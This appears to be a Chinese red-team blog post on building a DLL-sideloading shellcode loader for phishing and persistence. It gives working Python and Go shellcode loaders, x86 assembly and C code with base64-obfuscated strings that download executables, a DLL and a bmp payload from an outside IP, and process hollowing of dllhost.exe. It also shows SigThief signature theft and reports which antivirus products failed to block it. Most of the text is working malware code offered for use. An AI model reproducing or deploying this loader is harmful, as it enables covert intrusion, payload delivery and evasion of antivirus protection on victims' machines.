前言
之前hvv的時候有條件釣魚的情況下也沒有想著去嘗試,一方面是免殺的工作沒準備好。
一方面是如何釣好魚,發現這些都需要提前花大量的時間先去準備好,所以這篇寫了shellcode白加黑加載器工具方便釣魚之后一系列的權限維持和上線的操作
追求更好的免殺效果可以參考重寫beacon相關的文章
參考文章:https://www.cnblogs.com/zpchcbd/p/15947246.html 如何編寫shellcode
2022.11.15:花了幾天寫了這個,但是發現對于釣魚的話效果其實還是不行,所以這篇就單純記錄下了,白加黑的方式還是更適合做權限維持,這篇筆記僅供大家參考
0X00 思維導圖

0X01 啟動
為了更好的起到免殺和適配環境原因,所以啟動的四步操作均通過匯編來進行實現,之后各個語言只需要通過shellcode加載器進行加載這段shellcode即可
python shellcode loader
import ctypesimport sys shellcode = bytes.fromhex(sys.argv[1].strip()) shellcode = bytearray(shellcode)# 設置VirtualAlloc返回類型為ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申請內存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))# 創建一個線程從shellcode防止位置首地址開始執行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))# 等待上面創建的線程運行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
golang shellcode loader
func loader2(sc []byte) {// 獲取當前進程的句柄 pHandle, _ := syscall.GetCurrentProcess() Protect := windows.PAGE_EXECUTE_READWRITE// 為shellcode分配足夠大小的內存 addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)// 將shellcode寫入內存當中 WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))//修改進程的保護屬性為可讀寫可執行 VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))//創建線程執行shellcode x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0) for{
}}
信域
為了更好的規避殺毒的流量分析,自己把相關的后續操作全部都放在相對域名信任度高的地方,所以這里存儲的東西我都放在了公開存儲服務器上
上線
- 為了讓目標上線,自己會先把惡意文件下載到目標機器上進行執行,而下載這種行為相對殺毒來說是比較敏感的,所以我盡量采取殺毒監控不嚴格的API,所以我這里通過系統dll中的下載API來進行
- 為了更好的在目標上線之后進行惡意操作,所以我把在本地上線的時候是CreateProcess通過白加黑的方式進行的上線
簽名
參考地址:https://github.com/secretsquirrel/SigThief
python sigthief.py -i dbgview.exe -t loader.exe -o loader_a.exe
維持(未實現)
- 為了讓權限在PC機器上更好的維持,同樣權限維持的操作也是在白加黑的方式下進行,我這里采取的是通過COM接口編寫的計劃任務進行權限維持
- 權限維持的時候,還需要考慮當前的權限是做好高權限的權限維持還是低權限的權限維持
0X02 代碼實現
匯編版本
asm_loader.asm
.386.model flat,stdcall.stack 4096
.codeassume fs:nothingmain proc xor ecx, ecx mov eax, fs:[ecx + 30h] nop mov eax, [eax + 0ch] nop mov esi, [eax + 14h] nop lodsd nop xchg eax, esi nop lodsd nop mov ebx, [eax + 10h] nop mov edx, [ebx + 3ch] add edx, ebx nop mov edx, [edx + 78h] nop add edx, ebx nop mov esi, [edx + 20h] nop add esi, ebx nop xor ecx, ecx
get_function: inc ecx ; Increment the ordinal lodsd ; Get name offset add eax, ebx ; Get function name cmp dword ptr[eax], 50746547h ; GetP jnz get_function ; cmp dword ptr[eax + 4h], 41636f72h ; rocA jnz get_function ; cmp dword ptr[eax + 8h], 65726464h ; ddre jnz get_function ; mov esi, [edx + 24h] ; ESI = Offset ordinals add esi, ebx ; ESI = Ordinals table mov cx, [esi + ecx * 2] ; Number of function dec ecx ; mov esi, [edx + 1ch] ; Offset address table add esi, ebx ; ESI = Address table mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0 push ebx ; Kernel32 base address push edx ; GetProcAddress push ecx ; 0 push 41797261h ; aryA nop push 7262694ch ; Libr nop push 64616f4ch ; Load push esp ; "LoadLibrary" push ebx ; Kernel32 base address call edx ; GetProcAddress(LL)
add esp, 0ch ; pop "LoadLibrary" pop ecx ; ECX = 0
; 獲取inseng.dll模塊 push eax ; EAX = LoadLibrary push ecx push 6c6ch ; ll nop push 642e676eh ; ng.d nop push 65736e69h ; inse push esp ; "inseng.dll" call eax ; LoadLibrary("inseng.dll")
add esp, 0ch ; Clean stack pop ecx ;
mov edx, [esp + 4h] ; EDX = GetProcAddress push edx
; GetProcAddress(DownloadFile) 導出函數 xor ecx, ecx ; ECX = 0 push ecx push 656C6946h ; eilF nop push 64616F6Ch ; daol nop push 6E776F44h ; nwoD nop push esp; "DownloadFile" push eax; kernel32.dll address call edx; GetProcAddress(DownloadFile)
add esp, 0ch; Cleanup stack pop ecx; push eax; save DownloadFile function
; DownloadFile("http://xxxx/test.exe", "C:\\ProgramData\\test.exe", 1);
xor ecx,ecx xor ebx,ebx ; http://xxxx/test.exe push 65h ; e nop push 78652E66h ; xe.f nop push 64507573h ; dPus nop push 694A2F33h ; iJ/3 nop push 36312E37h ; 61.7 nop push 30312E33h ; 01.3 nop push 34312E33h ; 41.3 nop push 342F2F3Ah ; 4//: nop push 70747468h ; ptth
; C:\ProgramData\test.exe push 6578h nop push 652e6664h nop push 50757369h nop push 4A5C6174h nop push 61646D61h nop push 72676F72h nop push 705c3a43h push 1 lea ecx, [esp + 4h] push ecx lea ecx, [esp + 24h] push ecx call eax
add esp, 38h ; Cleanup stack mov eax, [esp+4h] ;
; DownloadFile("http://xxx/sqlite3.dll", "C:\\ProgramData\\sqlite3.dll", 1); xor ecx,ecx xor ebx,ebx
; http://xxx/sqlite3.dll push 6Ch ; l nop push 6C642E33h ; ld.3 nop push 6574696Ch ; etil nop push 71732F33h ; qs/3 nop push 36312E37h ; 61.7 nop push 30312E33h ; 01.3 nop push 34312E33h ; 41.3 nop push 342F2F3Ah ; 4//: nop push 70747468h ; ptth
; C:\ProgramData\sqlite3.dll push 6C6Ch ; ll nop push 642E3365h ; d.3e nop push 74696C71h ; tilq nop push 735C6174h ; s/at nop push 61646D61h ; adma nop push 72676F72h ; rgor nop push 705c3a43h ; P/:c push 1 lea ecx, [esp + 4h] push ecx lea ecx, [esp + 24h] push ecx mov eax, [esp + 4ch] call eax
add esp, 38h; Cleanup stack mov eax, [esp+4h]; xor ecx, ecx
; DownloadFile("http://xxx/g.bmp", "C:\\ProgramData\\g.bmp", 1); xor ecx,ecx xor ebx,ebx
; http://xxx/g.bmp push 706d62h ; pmb nop push 2e672F33h ; .g/3 nop push 36312E37h ; 61.7 nop push 30312E33h ; 01.3 nop push 34312E33h ; 41.3 nop push 342F2F3Ah ; 4//: nop push 70747468h ; ptth
; C:\ProgramData\gg.bmp push 70h nop push 6d622e67h nop push 675C6174h nop push 61646D61h nop push 72676F72h nop push 705c3a43h push 1 lea ecx, [esp + 4h] push ecx lea ecx, [esp + 20h] push ecx mov eax, [esp + 40h] call eax
add esp, 34h; Cleanup stack xor ecx, ecx
;get WinExec to exec pdf.exe from kernel32.dll
mov eax, [esp] ; EAX = LoadLibrary push ecx push 6c6c642eh ; .dll nop push 32336c65h ; el32 nop push 6e72656bh ; kern push esp ; "kernel32.dll" call eax ; LoadLibrary("kernel32.dll")
add esp, 0ch ; Clean stack pop ecx ;
mov edx, [esp + 4h] ; EDX = GetProcAddress push edx ; xor ecx, ecx ; ECX = 0 push ecx ;
mov ecx, 61636578h push ecx ; xeca sub dword ptr[esp + 3h], 61h ; Remove "a" nop push 456e6957h ; push esp ; "WinExec" push eax ; kernel32.dll address call edx ; GetProcAddress(WinExec)
add esp, 8h ; Cleanup stack pop ecx;
xor ecx, ecx ; ECX = 0 xor ebx, ebx push ecx push 6578h nop push 652e6664h nop push 50757369h nop push 4A5C6174h nop push 61646D61h nop push 72676F72h nop push 705c3a43h mov ebx, esp push 0ah push ebx
call eax ; calc add esp, 1ch ; Clean stack pop ecx;
xor ecx,ecx xor ebx,ebx mov eax, dword ptr[esp+0ch] mov edx, dword ptr[esp] mov ecx, 61737365h ; essa push ecx sub dword ptr[esp + 3h], 61h ; Remove "a" push 636f7250h ; Proc nop push 74697845h ; Exit push esp ; ExitProcess push eax ; kernel32.dll base address call edx ; GetProc(ExitProcess) xor ecx, ecx ; ECX = 0 push ecx ; Return code = 0 call eax ; ExitProcess
main endpend main

C語言版本
#include#include #include "base64.h"
using namespace std;
typedef UINT(CALLBACK *t_DownloadFile)(LPCSTR, LPCSTR, int);
int WinMain(
HINSTANCE hInstance,//應用程序的實例句柄
HINSTANCE hPrevInstance,//上一個應用程序的句柄。在win32環境下,參數一般為null,不起作用
LPSTR IpCmdline,//char*argv[]命令行的參數
int nShowCmd//顯示命令最大化最小化 ){ // C:\\Windows\\System32\\inseng.dll -> QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs HMODULE dll = LoadLibrary(base64_decode(string("QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs")).c_str());
// RG93bmxvYWRGaWxl -> DownloadFile t_DownloadFile DownloadFile = (t_DownloadFile)GetProcAddress(dll, base64_decode(string("RG93bmxvYWRGaWxl")).c_str());
// 1 DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL0ppc3VQZGYuZXhl")).c_str(), base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 1);
// 2 DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL3NxbGl0ZTMuZGxs")).c_str(), base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxzcWxpdGUzLmRsbA==")).c_str(), 1);
// 3 DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL2cuYm1w")).c_str(), base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxnZy5ibXA=")).c_str(), 1);
// 4 CloseHandle(dll);
PROCESS_INFORMATION ProcessInformation; STARTUPINFOA StartupInfo; memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68;
// C:\\ProgramData\\test.exe -> QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ== CreateProcess(0, (LPSTR)base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &StartupInfo, &ProcessInformation);
//WinExec("C:\\ProgramData\\test.exe", CREATE_NO_WINDOW); TerminateProcess(GetCurrentProcess(), 0); return 0;}
DLL部分
FILE* fp; // 定義流式文件操作變量fp,FILE結構體在stdio.h里面有定義 size_t size; // 定義文件字節數變量size unsigned char* buffer; // 定義緩存指針變量 fp = fopen("C:\\ProgramData\\gg.bmp", "rb"); // fseek()負號前移,正號后移 fseek(fp, 0, SEEK_END); // 文件指針指向文件末尾 // ftell()返回給定流 stream 的當前文件位置 size = ftell(fp); // size值為文件大小 fseek(fp, 0, SEEK_SET); // 文件指針指向文件開頭 buffer = (unsigned char*)malloc(size); // 動態申請圖片大小的內存空間(數組指針) fread(buffer, size, 1, fp); // 從fp讀取和顯示1個size大小的數據 CloseHandle(fp);
char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u); memcpy((void*)v7A, buffer, size);
struct _PROCESS_INFORMATION ProcessInformation; struct _STARTUPINFOA StartupInfo; void* lp_addr; CONTEXT Context; DWORD DwWrite = 0; memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68; BOOL result = CreateProcessA(0, (LPSTR)"dllhost.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation); if (result) { Context.ContextFlags = 65539; GetThreadContext(ProcessInformation.hThread, &Context); lp_addr = VirtualAllocEx(ProcessInformation.hProcess, 0, size, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(ProcessInformation.hProcess, lp_addr, v7A, size, &DwWrite); Context.Eip = (DWORD)v24; SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); result = CloseHandle(ProcessInformation.hProcess); } TerminateProcess(GetCurrentProcess(), 0);
0X03 殺軟測試

火絨個人版
無二開msf生成的shellcode未攔截上線

360安全衛士(非核晶狀態)
無二開msf生成的shellcode未攔截上線

defender
無二開msf生成的shellcode未攔截上線

麥咖啡
無二開msf生成的shellcode被攔截
看雪學苑
系統安全運維
雷石安全實驗室
HACK學習呀
LemonSec
LemonSec
0x00實驗室
黑白之道
HACK學習呀
LemonSec
RacentYY
天億網絡安全